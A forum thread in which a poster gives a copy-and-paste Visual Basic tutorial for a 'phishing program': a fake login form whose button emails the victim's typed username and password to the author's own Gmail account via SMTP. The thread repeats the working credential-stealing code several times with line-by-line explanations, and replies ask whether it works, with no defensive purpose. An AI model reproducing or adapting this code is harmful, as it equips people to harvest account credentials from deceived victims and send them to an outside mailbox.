Im not 100% sure, sorry

Okay, i will

---------- Post added at 12:50 AM ---------- Previous post was at 12:38 AM ----------



Well kind of copied and pasted (sorry) This equals a tutorial as i dont know what your setup is


1. Start off by opening visual basic 2008(doesn't have to be 2008 but that's the one I'm using) and create a new project.

2. Make 2 text boxes and 2 labels and 1 button. Position like this:

3. Double click the button and type:
Code:
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Username")
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("Your Gmail")
mail.To.Add("Your Gmail")
mail.Subject = "Phishing program " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(mail)
MsgBox("Email has been sent")

It should look like this:
Code:
Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Username")
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("Your Gmail")
mail.To.Add("Your Gmail")
mail.Subject = "Phishing program " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(mail)
MsgBox("Email has been sent")
End Sub
End Class

Above Public Class form1 type:
Code:
Import System.net.mail



What it all does:

Code:
Import System.net.mail

These codes allows us to use mail commands like
Code:
smtpServer.Send(mail)


Code:
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()

This is just telling the computer we are going to be using.

Code:
smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Username")
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True

These codes are connecting to the server. smtpServer.Credentials is just like you were signing in on their site. smtpServer.Port = 587 is just saying what port that you are connecting to and what port has to open. smtpServer.EnableSsl is saying yes connect.

Code:
mail = New MailMessage()
mail.From = New MailAddress("Your Gmail")
mail.To.Add("Your Gmail")
mail.Subject = "Phishing program " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(mail)
MsgBox("Email has been sent")

mail = New MailMessage() Is saying this is going to be a new message its just like if you were writing a message on the gmail site.
mail.From= New MailAddress("Your Gmail") Is just saying who the email is from.
mail.To.Add("Your Gmail") It is saying who you are going to send it too.
mail.Subject = "Phishing program " & TextBox1.Text This makes the subject Username: "And the text you entered in textbox1"
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text This is used to write the body so it would be Username: "text in textbox1" Password: "text in textbox2"

Thankyou for reading. If you have any trouble please reply and if you need any help about anything just reply.

Ok, make sure too tell me if it works

haha nice